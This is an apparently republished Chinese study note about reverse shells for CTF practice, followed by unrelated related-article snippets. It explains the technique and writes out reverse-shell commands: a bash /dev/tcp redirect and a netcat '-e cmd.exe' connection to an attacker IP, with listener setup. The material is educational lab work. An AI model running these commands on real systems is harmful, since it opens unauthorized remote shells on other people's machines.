关于反弹shell的学习

今天学习反弹shell,在最近做的ctf题里面越来越多的反弹shell的操作,所以觉得要好好研究一下,毕竟是一种比较常用的操作

什么是反弹shell以及原理

反弹Shell(也称为反向Shell)是一种技术,通常用于远程访问和控制目标计算机。反弹Shell的工作原理是,目标计算机主动发起连接到攻击者的计算机,从而绕过一些常见的安全措施,如防火墙和NAT(网络地址转换)。这种技术常用于合法的远程管理和测试环境中,但也可能被恶意攻击者利用进行未授权的远程控制。

通俗一点讲就是当存在一台攻击机和一台被攻击机时,攻击机(也就是客户端)连接被攻击机(服务端)叫做正向连接,那么反弹shell就是反向的连接,客户端为被攻击机,服务端为攻击机,由被攻击机连接攻击机

为什么要反弹shell

  • 对方主机在外网无法访问
  • 对方主机防火墙限制,只能发送请求,不能接收请求,利用目标计算机主动连接的特点,可以绕过这些防火墙限制。
  • 对方IP动态变化
  • 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
  • 遇到各种AV(AntiVirus,杀软)对正向的连接数据包检测,对出网的检测不严格
  • 穿透NAT:在网络地址转换(NAT)环境中,外部设备无法直接连接到内网设备。反弹Shell通过内网设备主动连接外部设备,可以穿透NAT进行通信。

反弹shell的思路

反弹 shell 的基本思路是通过网络建立一个连接,将目标主机上的 shell 程序(如 /bin/bash)的标准输入、标准输出和标准错误重定向到远程主机。这样,攻击者就可以在其主机上输入命令,这些命令会通过网络传输到目标主机并在目标主机上执行,执行结果再通过网络返回给攻击者。

Linux反弹Shell

准备一台windows,一台kali

Bash反弹shell

windows作为攻击机,kali作为被攻击机

攻击机监听19111端口

nc监听命令解析
  • 监听-l 标志让 Netcat 监听传入的连接。
  • 详细模式-v 标志会显示关于连接过程的详细信息。
  • 端口-p 标志后跟 12345,告诉 Netcat 监听在端口 19111

被攻击机利用bash-i,产生交互式shell,通过监听的端口反弹到攻击机上

此时攻击机上拿到一个shell,可以通过命令查看被攻击机上的目录等等

 命令的解析

1."bash -i" 打开一个交互的bash
2.">&" 将标准错误输出重定向到标准输出
3."/dev/tcp/x.x.x.x/port" 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
4."0>&1" 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

分析1 使用输入重定向,将远程攻击者输入的当作命令执行

同样的监听端口,在攻击机上使用命令执行会在被攻击机上显示命令并且执行,但是执行一次之后连接就断了

攻击机执行命令

分析2 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制

被攻击机执行命令

攻击机显示命令的执行结果

分析3 为了获取交互式的shell,需要使用文件描述符0>&1

攻击机可以输入命令到被攻击机,但是被攻击机会显示命令

分析4 使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell

也就是一开始实验的方法,将正确的输出和错误的输出都重定向到文件,并且在攻击机上输入命令在被攻击机上不会显示

利用Netcat反弹shell

原理
  • 攻击者准备监听: 攻击者在其主机上使用 Netcat 开启一个监听端口,等待目标主机的连接。
  • 目标主机连接: 目标主机通过 Netcat 连接到攻击者的监听端口,并将 shell 的输入输出重定向到这个连接上。
  • 反向连接建立: 连接建立后,攻击者便可以通过该连接向目标主机发送命令,目标主机会在本地执行这些命令,并将执行结果返回给攻击者。

利用netcat来反弹shell适用于目标装载了netcat

实验步骤

攻击机监听端口(kali)

在被攻击机上利用nc执行命令

nc 123.xxx.xxx port(攻击机ip)-e c:\windows\system32\cmd.exe

在攻击机上就可以接受到shell,并且可以进行命令执行

总结:刚刚接触反弹shell,只是在本地进行了一下实验,还没有做题练过手,好多的反弹shell的方式也没有学习

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/27943.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++设计模式——Decorator装饰器模式

一,装饰器模式简介 装饰器模式是一种结构型设计模式, 它允许在不改变现有对象的情况下,动态地将功能添加到对象中。 装饰器模式是通过创建具有新行为的对象来实现的,这些对象将原始对象进行了包装。 装饰器模式遵循开放/关闭原…

element-plus 的el-scrollbar滚动条组件

el-scrollbar组件可以替换原生的滚动条,可以设置出现滚动条的高度,若无设置则根据容器自适应。 通过使用 setScrollTop 与 setScrollLeft 方法,可以手动控制滚动条滚动。 scroll 滚动条的滚动事件,会返回滚动条当前的位置。 &l…

SQL 入门教程

SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系数据库管理系统的编程语言。它被设计用来查询、更新、插入和删除数据库中的数据。SQL是一种标准化的语言,尽管在不同的数据库系统中可能存在一些差异&…

【TypeScript】类型守卫

跟着 小满zs 学ts,原文:学习TypeScript类型守卫_类型“{ rsfid: any; rsfname: any; cycletime: any; sor-CSDN博客 类型收缩(收窄) const isString (str: any) > typeof str string || str instanceof String;typeof 只能返回有限的字符串类型&am…

snap nextcloud 通过不被信任的域名访问

安装向导 — Nextcloud latest 管理手册 latest 文档 find / -name config.php trusted_domains >array (0 > localhost,1 > server1.example.com,2 > 192.168.1.50,3 > [fe80::1:50], ), vim /var/snap/nextcloud/42567/nextcloud/config/config.php vim /va…

pytorch--Pooling layers

文章目录 1.torch.nn.MaxPool1d()2.torch.nn.MaxPool2d3.torch.nn.AvgPool2d()4.torch.nn.FractionalMaxPool2d()5.torch.nn.AdaptiveMaxPool2d()6.torch.nn.AdaptiveAvgPool2d() 1.torch.nn.MaxPool1d() torch.nn.MaxPool1d() 是 PyTorch 库中的一个类,用于在神经网…

ISP图像算法面试准备(1)

ISP图像算法面试准备 ISP图像算法面试准备(1) 文章目录 ISP图像算法面试准备前言一、ISP流程二、重点关注1. AWB必须在Demosaic之后进行。2. Gamma矫正通常在CCM之前进行 三、如何实现ISP参数自动化调试四、AE,即自动曝光(Auto Exposure)总结…

【太原理工大学】软件系统安全—分析题

OK了,又是毫无准备的一场仗,我真是ありがとうございます 凸^o^凸 根据前几年传下来的信息,所谓“分析”,就是让你根据情节自行设计,例如如何设计表单等,这类多从实验中出,王老师强调好好做实验一…

【面经总结】Java集合 - List

ArrayList 要点 实现机制 数组 扩容机制 初始容量为空列表&#xff0c;第一次插入后扩容成默认大小 10。 添加元素时如果已满&#xff0c;会自动扩容为原始大小的 1.5 倍。 类定义 // 类定义 public class ArrayList<E> extends AbstractList<E>implements…

Mybatis框架中结果映射resultMap标签方法属性收录

Mybatis框架中结果映射resultMap标签收录 在MyBatis框架中&#xff0c;resultMap 是一种强大的机制&#xff0c;用于将数据库结果集映射到Java对象上。它允许你定义如何将查询结果中的列映射到Java对象的属性上&#xff0c;尤其是当数据库表的字段名与Java对象的属性名不一致时…

Web前端成绩查询:深入解析与实用指南

Web前端成绩查询&#xff1a;深入解析与实用指南 在数字化时代&#xff0c;成绩查询系统已成为学校、培训机构等教育场所不可或缺的一部分。而xWeb前端成绩查询系统&#xff0c;以其高效、便捷的特点&#xff0c;赢得了广大用户的青睐。本文将从四个方面、五个方面、六个方面和…

HTML静态网页成品作业(HTML+CSS)—— 明星吴磊介绍网页(5个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有5个页面。 二、作品演示 三、代…

小白月赛96

小白月赛96 a最小胜利数b最小操作次数c最多数组数量 a最小胜利数 最小胜利数 只要有一个超过6次&#xff0c;那么便不可能反败为胜求出两位选手的题目差1&#xff0c;即为反败为胜的条件 ac code #include<iostream> using namespace std; int main(){string a;cin&g…

TCP与UDP案例

udp不会做拆分整合什么的 多大就是多大

【Spine学习08】之短飘,人物头发动效制作思路

上一节说完了跑步的&#xff0c; 这节说头发发型。 基础过程总结&#xff1a; 1.创建骨骼&#xff08;头发需要在上方加一个总骨骼&#xff09; 2.创建网格&#xff08;并绑定黄线&#xff09; 3.绑定权重&#xff08;发根位置的顶点赋予更多总骨骼的权重&#xff09; 4.切换到…

Orange_Pi_AIpro运行蜂鸟RISC-V仿真

Orange_Pi_AIpro运行蜂鸟RISC-V仿真 突发奇想&#xff0c;试一试Orange Pi AIpro上运行蜂鸟RISC-V的仿真。 准备 默认已经有一个Orange Pi AIpro&#xff0c;并且对设备进行一定的初始化配置&#xff0c;可以参考上一篇博文开源硬件初识——Orange Pi AIpro&#xff08;8T&a…

FineReport简单介绍

一、介绍 官网 &#xff1a;FineReport产品简介- FineReport帮助文档 - 全面的报表使用教程和学习资料 报表是以表格、图表的形式来动态展示数据&#xff0c;企业通过报表进行数据分析&#xff0c;进而用于辅助经营管理决策。 FineReport 是一款用于报表制作&#xff0c;分析和…

短视频矩阵系统源码搭建--如何基于各平台原生态坏境做开发

短视频矩阵系统源码搭建是一个涉及多个技术层面的复杂过程&#xff0c;它要求开发者能够理解并利用不同平台的原生环境来开发和部署应用程序。以下是一些基于不同平台原生环境开发短视频矩阵系统的一般步骤和考虑因素&#xff1a; 1.需求分析&#xff1a;首先明确系统需要实现的…

抽奖系统源码_微信抽奖系统PHP源码开源

介绍&#xff1a; 微信抽奖系统源码是一个以php MySQL进行开发的手机抽奖系统源码。用途&#xff1a;适合做推广营销、直播、粉丝抽奖。 功能介绍&#xff1a; 1、后台可以设置每个抽奖用户的抽奖次数,后台添加设置奖品,适和企业和商场搞活动,后台添加用户&#xff0c;才能抽…

[RL9] Rocky Linux 9.4 搭载 PG 16.1

副标题&#xff1a;Rocky Linux 9.4 升级实录&#xff0c;及 PG 16 相关内容 背景 Rocky Linux 9.4 (以下简称 RL) 于5月9日正式发布&#xff0c;本文记录了从 RL 9.3 升级到 9.4 的过程&#xff0c;以及升级前后的一些变化。 之前介绍过 RL 9 的相关内容&#xff0c;请戳&…